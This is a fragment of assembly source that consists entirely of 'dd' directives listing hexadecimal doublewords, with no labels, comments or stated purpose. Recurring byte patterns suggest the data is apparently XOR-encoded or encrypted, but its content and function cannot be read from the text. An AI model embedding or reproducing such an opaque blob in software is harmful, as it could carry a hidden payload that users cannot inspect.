dd 8AB132C9h, 0F7FD62E9h, 4A063D5Eh, 52B13237h, 0AEB13FD9h
dd 0A4305256h, 8A2988B7h, 5EE3BCEDh, 0EAB15341h, 75A6B459h
dd 0A8583256h, 6FB13256h, 1350B6ECh, 46B8DF4h, 0CCEC0192h
dd 6D0D0407h, 54D15251h, 718585D2h, 0BB303D37h, 0A5B13256h
dd 0A1B13237h, 57B120DEh, 0ABBCDB56h, 50AC3256h, 0A9A12356h
dd 0C7DDED86h, 0BAAA3567h, 5DB1CA56h, 0AEB139BFh, 26467E56h
dd 0D2BE216Ch, 33606708h, 53D13256h, 55FF8A95h, 0BAB13DBFh
dd 711F7D56h, 67139D3Dh, 4660949Fh, 0A1042801h, 0B5B13237h
dd 6AEACB07h, 15D0279Ah, 53EECB00h, 5DB13259h, 0CC9CDBE5h
dd 869EB571h, 0B91F6FAEh, 0B4F27CBFh, 0F8583256h, 0D2B13256h
dd 89E362FFh, 4520A445h, 8F07FDD2h, 0BE23EB92h, 53B13298h
dd 55D13256h, 0ED0EE984h, 14D07FD9h, 43493256h, 4E583256h
dd 54B13256h, 0C187A9A6h, 0C8AE01C8h, 0A3371A8Bh, 0F801DE25h
dd 75B10C9Dh, 0BAB13DBFh, 95853056h, 0B45482E3h, 0C48C904Dh
dd 7825DC58h, 0D5483256h, 0E1353D56h, 15B13256h, 3BA8FDD6h
dd 1696E7BEh, 0AEB15338h, 57BDBA59h, 2ABE3256h, 0D5B13250h
dd 0EAB1B959h, 75B13256h, 0BAA1DA36h, 4C1D3256h, 5669F972h
dd 4A6CC45Ch, 0C955FDEh, 8AE70400h, 8BD1620Dh, 13D1530Fh
dd 0B150FCD7h, 5DB153AFh, 877DB236h, 0DDAD8930h, 42B13237h
dd 0D5B13246h, 0D144CF15h, 531C7F6h, 2915AAE9h, 1FFAAF51h
dd 0A6583256h, 0EEB13256h, 3C55D1F4h, 0D53A05CAh, 0FE585256h
dd 2BB13256h, 0BDBFB8A5h, 9DA2B778h, 6FDC0D9Fh, 54727801h
dd 5342B66Ah, 0B5B13237h, 0E5E7C7E3h, 75B132D1h, 0BAD06C56h
dd 5DB1CA56h, 0CEB132AEh, 57B13EBEh, 2E34456h, 552AD8C3h
dd 0EE8E58F0h, 75373D4Ch, 0E3B13256h, 27DE8B30h, 0A1B13237h
dd 57B13ED8h, 0AD373D56h, 0DAB13256h, 0EAB132D4h, 9CB13256h
dd 0BAB13244h, 92DC4768h, 41FDAC2Fh, 0A78E0484h, 0A386040h
dd 0D5B11731h, 12063D36h, 0E4F68930h, 0BAB1CA37h, 5DB0B859h
dd 0AE4D3256h, 453C3D56h, 0CBB13256h, 0D5B135BEh, 11C42656h
dd 7206D3A8h, 6C0E3D09h
dd 0A5B13237h, 2FD13256h, 724A629Fh, 9A0F542Ch, 0D5B1533Ah
dd 0EAB9B759h, 0F8BE3256h, 0BAB13254h, 5DB15336h, 0AEB13ABFh
dd 2D2EAF56h, 9095F35Eh, 2CB13287h, 6FBE3256h, 75B13272h
dd 0BAB8DB36h, 0C0DE3256h, 83F2E935h, 0BF464D32h, 0ABB13258h
dd 6EB40376h, 0DE63A797h, 19A2E34Eh, 0DBEEF0D0h, 5DB13EBFh
dd 18427856h, 928DE03Bh, 6B14FC44h, 3CB1327Dh, 0EAB1325Ah
dd 0C727C0F5h, 83E8EDF5h, 0D420DB49h, 0A7583256h, 0E2B13256h
dd 39665982h, 0D8052E31h, 8CD13256h, 2EF0D4D7h, 0DAB13237h
dd 9BF487EDh, 52D0CB48h, 47583256h, 76B13256h, 7D185DB6h
dd 0EBB908B2h, 68E02EA4h, 0BAD25302h, 91315256h, 28BE6093h
dd 57B13256h, 0ABB1530Eh, 0D5B7DB36h, 0C8F03256h, 6A2E1A5Ah
dd 46B13237h, 5D483256h, 0AEA2DB56h, 0D4A23256h, 0C5FEF86Bh
dd 60250A43h, 0FBD843B2h, 0E760DB09h, 0DAB13207h, 6962B330h
dd 0A75863F6h, 0B13256h, 0A461E1F1h, 0B3B498AAh, 3D1530Ch
dd 75B13247h, 0F0EB123h, 5125D3CBh, 0D552752Ch, 7844BB38h
dd 59306389h, 0C5D15F85h, 0EAB1530Dh, 15B132AFh, 0BAB2B759h
dd 0AC313256h, 0AEB1537Fh, 0DCD75236h, 43D0CB80h, 0D5B13250h
dd 0C2D6A9Eh, 2F4D0883h, 53B13237h, 5DB1325Eh, 0A4AF1F3Bh
dd 0EEBB6F6Ah, 0AC583256h, 0F0B13256h, 2A907ACh, 75B13A73h
dd 0BABDB959h, 52D13256h, 0AEB132D1h, 12085456h, 0ABB153C0h
dd 3305436h, 8B4D0EE6h, 0F5BE3256h, 0BAB1325Eh, 3B48B936h
dd 0CF6B75EEh, 0D6D13256h, 56A0C8A0h, 2063D23h, 3B13237h
dd 75B13251h, 0CB6D12B8h, 5DADC547h, 0AEA3DB56h, 47BF3256h
dd 8B6E8670h, 52ACB0F1h, 404C2433h, 0EF79518Ah, 0BA493256h
dd 5D44CE56h, 0AF393D56h, 0AFB13256h, 0AB493256h, 0D5B1CA56h
dd 0EAB126BFh, 0C560A556h, 0AC2326D7h, 40FB839Ah, 97BB709h
dd 87FFD6BAh, 0AD3A3DE6h, 0B5B13256h, 12498D59h, 8DB13237h
dd 0BAB6B659h, 0DBBE3256h, 0AEB13257h, 0BEB132AAh, 0ABB1325Eh
dd 6CEA5264h, 0BDAF02FCh, 9CB132AFh, 0BAB13251h, 14A75B0Ah
dd 0AE21CF02h, 0D0BECA56h, 0ABB1325Ah, 0D5B7B159h, 64BE3256h
dd 75B13256h, 0BD583256h, 0BEB13256h, 0EC047022h, 57B18D7Ah
dd 0CBB132AAh, 0D5343D36h, 8CB13256h, 0CA77E2D7h, 0DBB88037h
dd 5DB0B559h, 0AE4D3256h, 57BFDB56h, 5CF53256h, 3B1F530Fh
dd 0FC1BDD22h, 0AFCDD202h, 0DBD13256h, 5DA7B859h, 0BF583256h
dd 0B4B13256h, 0ADEF4AF8h, 0C9012478h, 0F7CCBFF9h, 96A8C2BEh
dd 31D13256h, 3C7AB986h, 0AE4D3256h, 57B4DB56h, 0EBAA3256h
dd 0D59B9AE9h, 0EAB1C756h, 75B135BFh, 2BFD5A56h, 0DFF5620h
dd 0A0583256h, 33B13256h, 9A19DEFDh, 6BE5464Bh, 61E8837Bh
dd 80B13240h, 0BA443256h, 5DB9DB56h, 3FFE3256h, 0E647D21h
dd 0ABB15DE1h, 0D5BDBA59h, 6DBE3256h, 75B13250h, 0BAB1BF59h
dd 5DB13256h, 0AD333D36h, 58B13256h, 20D7CDE1h, 0D5B15381h
dd 0EAB13DBFh, 45D7ED56h, 936DCA4Ch, 4EAA0328h, 93C06248h
dd 57443256h, 0F9E75256h, 6F0E6809h, 8BD1AB44h, 9CD13256h
dd 0BAB1325Eh, 400AC312h, 90AC1150h, 37B13237h, 20ECE4D6h
dd 55D1539Dh, 9401509Ch, 8DB13237h, 0BA493256h, 0B54D5256h
dd 0AEB13244h, 64AF8681h, 0CB9E82C9h, 0AD7933E8h, 4DA1FFEh
dd 0FED7DDF9h, 0BAD069A6h, 0E5D75256h, 17D7ACCDh, 57D0B1E4h
dd 5C0B5256h, 54CEF891h, 42E9E18Fh, 75B15308h, 0BAA2BC59h
dd 0DFBE3256h, 0AEB1325Bh, 57B13ABFh, 201A3356h, 71353D3Eh
dd 0EB313D99h, 8DB13256h, 32BE3256h, 5DB13251h, 0E9A18C36h
dd 57D05426h, 0ABA3DB56h, 66B73256h, 1B0D5783h, 0A0D456F5h
dd 423BDFD1h, 7E1DBF7Ah, 0AE4D3256h, 57B1CA56h, 0AF333D36h
dd 0B3B13256h, 35AC2E8h, 75B1325Eh, 8B0FA26h, 544F6122h
dd 0AEB1CB37h, 57B8B659h, 0F8D13256h, 1B305408h, 0EAD03E2Ch
dd 62363D56h, 53B13256h, 5DB13244h, 18A32FB9h, 0E343DBD8h
dd 0BB75205Dh, 2C26250Ah, 0EAB11491h, 0F4D7CE36h, 0DB50D890h
dd 0D1BE3256h, 0AEB13257h, 37B132AAh, 0B858C1DDh, 0B7B13256h
dd 0B597CF2Ch, 678F7242h, 9CA840Fh, 0F9B7F6EEh, 5BD07367h
dd 0E7D13256h, 0A83E3D31h, 0DAB13256h, 12D0F1E1h, 0F4BE3256h
dd 0BAB13257h, 0B4B132AAh, 0AEB13246h, 74A29C3Ah, 14AFBACEh
dd 38BF2230h, 0B462275Dh, 75493256h, 0BAB1CA56h, 5DB13DBFh
dd 0DBBDD756h, 0CA048DD5h, 0D1BDA6B7h, 0BBCAD111h, 52D13256h
dd 7995FCB3h, 0ADD4D9D7h, 5DD0381Eh, 27BECB56h, 57B1324Eh
dd 0ABA3B959h, 0D8583256h, 79B13256h, 9A2C715Dh, 28E3FBABh
dd 172815C2h, 2EBE3256h, 57B1324Bh, 0ABA6B959h, 0C7583256h
dd 9DB13256h, 3BB16E1Dh, 95B0BD22h, 439BBFDh, 63817DFAh
dd 58B13257h, 0ABB12FD5h, 0C5595256h, 2B13256h, 0D152D48h
dd 65727492h, 0FC6214EFh, 0F056E4DFh, 8677B330h, 0ABB153DBh
dd 0D5B122BFh, 0CC4A4F56h, 0AEE1DA2Bh, 12F72968h, 0FB29530Dh
dd 0A6333DA4h, 37B13256h, 0E8CA8830h, 0D5D0C3DDh, 0EAB1CA56h
dd 75B122BFh, 803F3B56h, 0FFC63C6Ch, 20100C97h, 54D17834h
dd 5EB132DDh, 0DAB132AEh, 0EAB128D2h, 0C2BE5256h, 0BAA1DBA8h
dd 8D733256h, 85D190B2h, 0D6C448FCh, 7240B1h, 0D5D05D0Bh
dd 0E13E3D56h, 9CB13256h, 0BAB13250h, 7D097D12h, 0AEB10CD0h
dd 57B9B359h, 25BE3256h, 0D5B13254h, 0EAB15336h, 75BCB759h
dd 0DCD13256h, 8407D4D7h, 3A55F5D7h, 0AED023C0h, 0AB493256h
dd 6BD75256h, 62BEB9EEh, 75B13255h, 0DB69B930h, 0D1BE3256h
dd 0AEB13250h, 0DCF08236h, 0ABB15388h, 0D5B13CBFh, 0C632C656h
dd 0C9450638h, 0D25AAB20h, 5D87D339h, 0BE0A5256h, 0BEC7A49Eh
dd 0ABB13251h, 0A7D89209h, 8B444C53h, 7B583256h, 0B1B13256h
dd 6F376E87h, 0D22C0C53h, 8A7BC937h, 0A4B132DFh, 0D5B12ED6h
dd 0FC383D56h, 9CB13256h, 0BAB13247h, 988A4AD7h, 7DB884B1h
dd 0CE6F8524h, 11AAA055h, 20B13225h, 0F9583256h, 0C5B13256h
dd 44C16B22h, 394F06DEh, 2E25F700h, 96373FCFh, 0ABB183ECh
dd 0DAB132A3h, 0EAB12FDFh, 0A03B5256h, 0BAB126BFh, 98EA4E56h
dd 513F8611h, 55D8A2D8h, 0DF386D27h, 1729BF36h, 0EAB15369h
dd 8DB132AAh, 0DAB132A3h, 5DD0FCDDh, 0BE585256h, 60B13256h
dd 0BCD9B186h, 21B7A6E5h, 68014EC0h, 13D84656h, 2916E3D7h
dd 553F3D37h, 0A1B13256h, 57B130DCh, 0ABD05256h, 54BE5256h
dd 0EAB13253h, 5753B330h, 0BAB15366h, 52B132AFh, 0AEB135D8h
dd 56343D56h, 52B13256h, 56BE3256h, 0EAB13257h, 80B132AAh
dd 0BA483256h, 5DA1DB56h, 40253256h, 24774514h, 615E266Ah
dd 3D1E5CFh, 0EAB15AAEh, 75BDB559h, 31BE3256h, 5DB13250h
dd 0AEB1B959h, 57B13256h, 0ABB4DB36h, 55AA3256h, 0BCE09670h
dd 75B1B859h, 0DBE93256h, 5B583256h, 13B13256h, 29D594B4h
dd 0A4B13210h, 0D5B129DCh, 0FF363D56h, 9CB13256h, 0BAB13246h
dd 0B5DB9B47h, 23ED74D1h, 0F3A01E8Ah, 377AFA6Ch, 0D2583256h
dd 90B13256h, 958832CBh, 0BAB153BDh, 5DB6B259h, 2ABE3256h
dd 57B13257h, 0A4B132AFh, 0D5B122D9h, 0E0383D56h, 9CB13256h
dd 0BAB13253h, 4F36C6ABh, 0A1B132DEh, 57B133DEh, 57D1C756h
dd 0D5B121BEh, 5E972256h, 0F7161289h, 0ACD4B54Bh, 3E6D98ABh
dd 56EEA89Eh, 57B123BEh, 3BCAEF56h, 68F9E7AAh, 5A812E95h
dd 0B22E52C0h, 0E3EB10AAh
dd 0A4B13237h, 0A9583256h, 59B13256h, 0BE802299h, 0D54408A7h
dd 0E6373D56h, 15B13256h, 0B78616EFh, 86305409h, 0AED0B226h
dd 314D5256h, 0C269D8D7h, 0B5B13237h, 0DDB6D3D7h, 0FFD13A1Ch
dd 0B5D053B9h, 5DB133D0h, 0AEB1CE56h, 57B13EBFh, 0A1A6CB56h
dd 0D924B1BDh, 3085A53h, 8DB132EDh, 0DB168336h, 0D7BE3256h
dd 0AEB13259h, 57B138BFh, 34BAED56h, 0DE862E8Eh, 8A60B3E1h
dd 0F703E3D7h, 0A9095120h, 3CC1292Eh, 0A2583256h, 61B13256h
dd 4ADA8CBCh, 0F3DF7CCCh, 0EAEF51DCh, 75B6DB56h, 33FA3256h
dd 0F644DF3Eh, 52B132A9h, 0DDBE3256h, 0ABB1325Ah, 0D5B7B959h
dd 60BE3256h, 75B13256h, 3D13256h, 5B3B283h, 0AED0C2DDh
dd 0BE4D5256h, 0ABB1325Ch, 46FE17AFh, 34E72D56h, 75D0A4BCh
dd 0BABBDB56h, 0E30C3256h, 0CE6BE882h, 67A83DE5h, 2CBE3256h
dd 0D5B1324Eh, 0EAB121BFh, 0FFD54056h, 54B9D39Fh, 0DD9DAFF8h
dd 3E1D5E97h, 169BAB11h, 20BE3256h, 0D5B13251h, 0EAB0B059h
dd 75483256h, 0BABADB56h, 754B3256h, 0CF145B9Bh, 0A4435C94h
dd 0ABB4DBA8h, 0AA023256h, 0EA6A2C1Ah, 0CCD75256h, 53D1A27Fh
dd 5DB1325Bh, 0C9110F67h, 448D322Ch, 0F95A297Fh, 263A549Ah
dd 6CBE5337h, 75B13247h, 0BAB13EBFh, 0F333AC56h, 0F2059F9Fh
dd 0D6C1F0CDh, 0A4B13282h, 0D5B133D0h, 0EAB1CB56h, 75B6B459h
dd 31BE3256h, 5DB13257h, 47B132A3h, 57B1325Fh, 2654072Fh
dd 0AA61119Dh, 61BE52D5h, 75B13242h, 0BAB13CBEh, 0A1DD0356h
dd 0C9E6E647h, 0FDF9DE1Dh, 0F08F112Fh, 0D5B5BE59h, 55D73256h
dd 75D0955Bh, 0BAB1CE56h, 0D50F5436h, 0AEBCDA9Fh, 0A03A3256h
dd 9CEB6A30h, 0CF098BBFh, 8C9449A6h, 2C972EE9h, 0DAB13237h
dd 0AE3A52A3h, 0CFD0C5DDh, 0AF443256h, 0AB483256h, 0D5B1CB56h
dd 0EAA5B159h, 9DD13256h, 0BAB1325Eh, 0EA83AA8Bh, 8FCA1E48h
dd 8E0F5408h, 0A4D1530Eh, 7E08FDE9h, 8BBCAD0Eh, 67583256h
dd 33B13256h, 9D47854Ch, 25258C4h, 5A8A3CFh, 0FF7FC114h
dd 0DAB1324Eh, 0EAB120D9h, 87305256h, 0B7070CA0h, 5DB137BFh
dd 44D3D56h, 57D05453h, 2ABE5256h, 0D5B13254h, 5DBEE8DDh
dd 75B153A7h, 0BA90B859h, 0B4D13256h, 0AEB13242h, 16F5211Fh
dd 0C18C51E9h, 2477D7F2h, 0E0894953h, 14115560h, 0BAB1BB59h
dd 5DD03256h, 0AEB1CE56h, 2E2F8A36h, 0A4D01E62h, 0D5B133D7h
dd 0EAB1C756h, 9CB132AEh, 0BAB1325Fh, 0A411BD7Bh, 0A7EDCh
dd 37B132B6h, 0ABB0B459h, 0B4483256h, 66BE3256h, 75B13242h
dd 0BABFB759h, 54583256h, 16B13256h, 507DDE19h, 0A46E9BDAh
dd 6BD13256h, 0CC1D192Ch, 0A60B5436h, 0B5D05327h, 5DB13ED6h
dd 0A8343D56h, 58B13256h, 0ABB132D9h, 3CB13256h, 0EAB1325Eh
dd 4E841D7Dh, 0E7CFAFB6h, 52D13256h, 0AEB130D1h, 0D6EF6556h
dd 5C1674A7h, 0D544537Bh, 6BD75256h, 7A371F90h, 0BAD0E8E1h
dd 5DB6DB56h, 0B7783256h, 0B403E4CCh, 0A4B132A2h, 0D5B133D5h
dd 0EAB1CE56h, 8DB132A3h, 0DCD13256h, 3DD0E1DDh, 0AEB9DB36h
dd 2C173256h, 0E339F095h, 6ABECF20h, 8CE05394h, 2B33E8E9h
dd 0B5B13237h, 5DB110D7h, 27BE5256h, 57B13256h, 0ABB126BEh
dd 8C107156h, 0B6A5C94Dh, 7E11C32Dh, 0F5D243A8h, 6428F637h
dd 0A1D06C89h, 57B133D9h, 0ABB1C756h, 0D5A0B359h, 0E6583256h
dd 0B1B13256h, 39D0C651h, 0C11D8A1Dh, 4703226Ch, 57B13242h
dd 0E1ECCE8Eh, 0A24EBF87h, 0EAFF268Bh, 45F85816h, 0F5FB09B1h
dd 5D443256h, 0AEB1CB56h, 57B138BFh, 0E79CE956h, 0C777D672h
dd 0EACCE2E7h, 75B1C756h, 0BABADBAAh, 0E5553256h, 0FB279DC9h
dd 0E89F538Fh, 0A4B13220h, 0D5B133DDh, 0EAB1C756h, 7AEB8736h
dd 0BAD0F8E9h, 47343D56h, 0A1B13256h, 57B126DBh, 0ABBEDB56h
dd 9BF43256h, 0E67D1171h, 0B14DA3E4h, 0C0E5729Ch, 0A1B132A9h
dd 0A1B132AFh, 57B123DEh, 0A03A3D56h, 3CB13256h, 0EAB13250h
dd 6456C4D2h, 0B5D1687Bh, 5DB12CDCh, 0B6373D56h, 0BEB13256h
dd 0ABB13245h, 0C162995Fh, 0C9779542h, 14FF250Bh, 570A9343h
dd 3D8DBA20h, 0A1428D59h, 57B132DDh, 0AB595356h, 8FB13256h
dd 7884D8D7h, 0C3D1344Fh, 39BE533Eh, 5DB13257h, 2334BFA3h
dd 0BEB72ADBh, 0ABB1325Ch, 6B5357CDh, 0F824B3C5h, 0F73888A8h
dd 0BCA84991h, 5DB126BFh, 7D17D956h, 5E328D77h, 0F4253830h
dd 0B0F45924h, 236990BAh, 0B533BF71h, 0B5B72824h, 5DB13EDFh
dd 0A8303D56h, 58B13256h, 0ABB132D6h, 0D33BB56h, 0E5B72B2Dh
dd 75B133D5h, 5244CA56h, 5DB10A63h, 0AEB120BFh, 9E56EC56h
dd 1379F392h, 0C5D05155h, 364526A5h, 9D4EDBD3h, 0BAB130FFh
dd 5DB123BFh, 0AC449856h, 0A0368DD3h, 514C5414h, 279CCB8Bh
dd 0FA588466h, 0ECB13256h, 0DA80A7D0h, 0DD8852F6h, 57BBAFC2h
dd 90A85EAAh, 0B2CA7FD4h, 0D5B13250h, 1E3B5256h, 75A3DB00h
dd 8B843256h, 7AB63F56h, 88D465C4h, 965D00E1h, 603DDB76h
dd 20E35309h, 0FB50B790h, 7AE73445h, 0BAB13AD8h, 5F373D56h
dd 0CEB13256h, 0EFE35A37h, 0A558AEFEh, 0E2B13256h, 0C8B50C8h
dd 0BBC54DBDh, 0F0DBB41h, 5DBBDBCAh, 29FF3256h, 513D1C8Ah
dd 9568DAEAh, 0CB5887A9h, 0E7583445h, 68B13256h, 634D4633h
dd 5CD4C0Ch, 6620D476h, 2B82B7DBh, 20D13440h, 54E53ADh
dd 0EAA3DB36h, 526F3256h, 96407D25h, 7AC80402h, 32E3E9B2h
dd 0EB2706B6h, 8AAE7EEFh, 50385376h, 0ECA21B2Bh, 71DBCEAEh
dd 0AAB15AAFh, 0DCD13256h, 0EA3F4DBDh, 5258534Ah, 25B13256h
dd 0D032E9F5h, 0E9BC723Eh, 75DBCE56h, 5361CDAEh, 5DB13253h
dd 88FF7099h, 57A1DB3Ch, 0E9053256h, 6E266B23h, 0CD73C21Dh
dd 0AC83C071h, 53EB6D96h, 5DB1325Eh, 8964B7B6h, 0BF2135E6h
dd 2FBEF25Dh, 0D5B13373h, 0EAB0B659h, 0FC483256h, 0A3CA7FD4h
dd 4D585250h, 0FB13256h, 0E486E667h, 20D84962h, 0DDA15D0h
dd 5C59C74Eh, 0F73853D7h, 0BCA8490Dh, 5DB9DA36h, 541E3256h
dd 0C2BC5C21h, 0B40824A0h, 8D80D3DEh, 13D0CBDDh, 76BC72EFh
dd 0B6393D56h, 52B13256h, 0AEB134DFh, 573C3D56h, 20B13256h
dd 3C4452AEh, 0EAB13244h, 0B7893189h, 0FCEF0A49h, 0DD20DCE3h
dd 1F7797AAh, 64D0606Ah, 5848CE96h, 0B5E752FCh, 4C016937h
dd 80E3CE37h, 0B058363Ch, 0BAB13256h, 0F63DBA30h, 28525906h
dd 0BBB15A6Ah, 0D2583256h, 73B13256h, 0E1E892F9h, 0D248B632h
dd 5DB13656h, 0AEBDB559h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h
dd 0EADB3256h, 75B13BBFh, 0FD1D2356h, 0BF50D163h, 3C4E8CF4h
dd 51A21B2Bh, 0ABA5DB36h, 40943256h, 13B65D88h, 0D32A7281h
dd 286F3C15h, 2A09BE3Eh, 0CF49D64Ah, 4F3D3D0Ch, 42B13256h
dd 0D5B13245h, 1CDCA083h, 0EDBAB888h, 90F51476h, 0B01F98h
dd 27519F2Bh, 4ECF68D4h, 0ABB6DB50h, 210B3256h, 0CCCF76BCh
dd 0F4BE538Ch, 0BAB1325Eh, 5DB3BE59h, 0CFD13256h, 57BCDB36h
dd 0AEC03256h, 2D8EDCADh, 0EE02B5DDh, 7A795598h, 31D0C5E9h
dd 44CA7FD3h, 46E75250h, 57B13244h, 0BC6D2CB1h, 0F2839A41h
dd 35409201h, 0BF6A8E91h, 0E5EF396Bh, 0DABEF137h, 0AEB13257h
dd 0BED152A3h, 0ABB1325Eh, 65535D05h, 7CD1A55Eh, 0CC33F537h
dd 0BAB72158h, 0B4B17256h, 0AEB13242h, 89274495h, 16F50DFCh
dd 2FBE0CB1h, 0A3FCF981h, 20910FE7h, 9328B091h, 4DB13445h
dd 0BF583256h, 31B13256h, 2D39A231h, 2A57E480h, 0D51D7C0h
dd 9FF2A3Dh, 0BB303D37h
dd 0A4B13256h, 19BE5295h, 0BED153A9h, 0ABB13247h, 0ADC533E4h
dd 0FEC8BE2h, 0AF2D7E33h, 930D4F44h, 100BB9C8h, 0A1B72B2Dh
dd 57B126D9h, 0A6585256h, 53B13256h, 48781F10h, 861D8F85h
dd 5FCB88A6h, 5D8EB137h, 0AE65B659h, 0D9BE3256h, 0ABB13248h
dd 0D5A9BE59h, 0F9583256h, 96B13256h, 8EA778A6h, 7F34756Ah
dd 0A34225FEh, 77B4A69Eh, 0D432EADBh, 51BE3046h, 0EAB1320Bh
dd 75B135BFh, 0F2953256h, 0CF7B1C24h, 0AEB7B559h, 0E0D13256h
dd 0CA6FB978h, 0D1A14DD5h, 0EAD0B659h, 80D13256h, 0BAB122BFh
dd 4131C356h, 0FA22D1C9h, 0D8F7FA19h, 0A37CF315h, 1232533Ch
dd 0E13E3D42h, 9CB13256h, 0BAB13250h, 1494B970h, 0D858410Fh
dd 374ECDA9h, 0ABB3B659h, 8AE73256h, 0FAF6F537h, 75B13257h
dd 4561DBAFh, 4958CDA9h, 91B13256h, 3E01BBD5h, 0B8B0B934h
dd 30D7C88Ah, 365707E6h, 0B2D8F809h, 0BAB22211h, 0D7BE3256h
dd 0AEB13257h, 0A815DBAAh, 0CB48CDA9h, 0D5B13ABFh, 62AF4956h
dd 0E3D60E82h, 0B5D0538Bh, 5DB13AD7h, 0AC3B3D56h, 37B13256h
dd 0A658F137h, 0CEB13256h, 4445EC4Eh, 0CF27B89Dh, 0E8E21A76h
dd 0BD305203h, 0EC014CCEh, 51333D37h, 0CBB13256h, 8AE0EADDh
dd 135DB937h, 0F4BE5236h, 0BAB13256h, 0B5D071E2h, 0AEB13256h
dd 7D5BB30Ch, 0A4B72BC1h, 0D5B127D5h, 0E4585256h, 0CFB13256h
dd 9FABD5CFh, 41BBCCB4h, 1657FB5Fh, 0DC445357h, 0B2CF4AE4h
dd 0D5BBDB50h, 53D93256h, 19E489BFh, 7D9916B6h, 0B4B977DDh
dd 0AEB1325Eh, 0FC4091Eh, 0DB41BB95h, 204834DFh, 94C9B0D5h
dd 7AB5344Fh, 0BAB13ED3h, 5DB6DB56h, 0B7ED3256h, 6A8EC61h
dd 0A1585326h, 0A7B13256h, 0AC52167Fh, 0DDB324F6h, 4278CA21h
dd 5DB123BFh, 8BC4D456h, 445429A5h, 14D67976h, 0C87F685Fh
dd 0EE737A6Dh, 743D3D56h, 42B13256h, 5D59CE36h, 0F4B13256h
dd 0C078D8D7h, 0A44D344Fh, 0D5B133D0h, 8CD1C756h, 13D220EEh
dd 31D0C5DDh, 44CF68E4h, 0AF373D50h, 0AEB13256h, 0D5C9806Dh
dd 51BE344Fh, 0EAB133E7h, 75B6B959h, 38BE3256h, 5DB13257h
dd 568FB9A3h, 376EB9AAh, 0CACBEFD6h, 0D5BBB159h, 0EF583256h
dd 6CB13256h, 8E49F085h, 5CFE8459h, 0AEB13CBFh, 18131F56h
dd 96C22F80h, 0FC7E2FACh, 3DEE9E9h, 75B13246h, 4EFB8C6Dh
dd 5EBF7CACh, 0D2904CCFh, 26487BD3h, 2BB075A0h, 0D5EAB759h
dd 65BE3256h, 75B13257h, 0B56831A3h, 5DB12BD7h, 0AEA5DB56h
dd 5D123256h, 43162459h, 6235724Ch, 0B72D7766h, 164F5F7Ch
dd 0FC583264h, 3DB13256h, 0AEB121BFh, 44B8C456h, 54EA9C52h
dd 0CC33B963h, 949A76FBh, 40ABE595h, 5757B236h, 5DB13BBEh
dd 9A3D1656h, 16FF85B4h, 0CAE9F437h, 0DA681937h, 0EAB122DFh
dd 75BADB56h, 3BA33256h, 8F7E52B0h, 0FDD18880h, 0D0BE717Ch
dd 0ABB1324Eh, 0D5B121BFh, 0AB265D56h, 86DD7C5Eh, 0DFD65366h
dd 0C4415A60h, 3F62E48Bh, 9B095215h, 0A4AB85A9h, 0D5B131D0h
dd 0A46AB256h, 0D034B937h, 53B72177h, 5DB1325Dh, 53AF2472h
dd 0BC46534h, 0A4E643DCh, 0D5B133D1h, 673ACE56h, 73A22853h
dd 0DBD15236h, 0DDD0CFDCh, 47D0C2B0h, 57B1325Ch, 61B91F09h
dd 26AC64FAh, 328A0925h, 7591B059h, 814D3256h, 4A363D8Fh
dd 0A1B13256h, 57B135DCh, 0AA343D56h, 2CB13256h, 12B5F4D5h
dd 8A4FBDBFh, 758AC7A9h, 5DF2B659h, 0A6583256h, 59B13256h
dd 4D146E08h, 203DCCDAh, 0F0B48FDFh, 7D583445h, 9DB13256h
dd 503CF38h, 476314D0h, 0A84ECC05h, 610E3D36h, 0D5B121BFh
dd 5F0A3B56h, 0EC4E7D97h, 6868B6A4h, 0E95611A6h, 0A56CDE38h
dd 37D15337h, 431FD7D6h, 0D5B13250h, 0D3D7B4CEh, 14E9A708h
dd 79D0C7DCh, 5DB13ABFh, 9395A156h, 0C4F949A3h, 26BE523Dh
dd 0D5B13248h, 0EAA9B659h, 66583256h, 5FB13256h, 0FCF35ABEh
dd 17F3223Ch, 0D2AEF7B5h, 6F1D32DCh, 0D5598CACh, 0B0B13256h
dd 0EC48D8D7h, 0DCD1344Fh, 304AEDD7h, 0CFAEF0D6h, 0D0BB9A3h
dd 5EB72B28h, 0D5B032EFh, 2A82C756h, 75B139BFh, 9C994F56h
dd 2712AD8Ah, 90D62602h, 57B9B559h, 2DBE3256h, 0D5B13254h
dd 41425336h, 2F33B9AFh, 0DAB72B28h, 5DB4BF59h, 2FD73256h
dd 7B483B7h, 0ABB1BC59h, 0B4EA3256h, 94C9B0DFh, 0F0BE344Fh
dd 0BAB13242h, 5DB13DBFh, 634BBF56h, 6CD4F8E5h, 596679E6h
dd 3F00DE54h, 35305237h, 529A4FC5h, 0E5E28104h, 3D49F137h
dd 0F7D05201h, 57B121BEh, 60229A56h, 1013E1AFh, 0B1B6C3AEh
dd 8B209630h, 0D252B4E9h, 3CEB5336h, 0BD3F3D36h, 0BEB13256h
dd 0ABB13258h, 0EB66050Eh, 14021329h, 2238823Fh, 0BA596694h
dd 7B13256h, 3474D8D7h, 0D3BE344Fh, 0ABB13245h, 0D5B13CBFh
dd 0A36C3856h, 0EB7C95F7h, 73211C2Eh, 3D065BB9h, 0A1418D59h
dd 57B132DFh, 2E775356h, 0D3A223B7h, 0E7313D00h, 9CB13256h
dd 0BAB1325Eh, 0EE45BB89h, 0DF92C895h, 48DC0B3Eh, 1E4ECA82h
dd 0D3A22CBFh, 8C218636h, 14759FEEh, 0C682B7DBh, 0D7BE3440h
dd 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 56BEE2A9h, 0EAB13253h
dd 8C3ACE36h, 53E3CB37h, 5DB13246h, 1BDD8ADDh, 4056FE1Ah
dd 0FB05F32Eh, 137CED61h, 0EB3B3D06h, 8CB13256h, 0BA31323Eh
dd 5DDBCE56h, 0E303CDAFh, 37B72B2Dh, 9FE5F7EEh, 54E535Eh
dd 8CD16AAAh, 0B5DFC3D7h, 0FC6EB330h, 0A5EB53D2h, 146EB936h
dd 488A7E64h, 2BB15A37h, 52BE3256h, 0EAB13257h, 7AB158AFh
dd 0BAB133D2h, 0EF4ECE56h, 0A8A84C0Ch, 0FAB58C36h, 0CDE13F03h
dd 8A4774E9h, 361CD37h, 75B1325Eh, 0EFF525B5h, 7D9965E9h
dd 0AEA3DB37h, 0F1A33256h, 77A659C2h, 4CE72288h, 0F822335Dh
dd 853D92CAh, 0B2333D95h, 3DB13256h, 0C85FFBD6h, 2D0E8DDh
dd 525DB9AEh, 5CD08D36h, 8AD04BCCh, 70343D36h, 1B13256h
dd 7753DA3h, 0CF638559h, 57B132BEh, 41306856h, 0D3A8AE59h
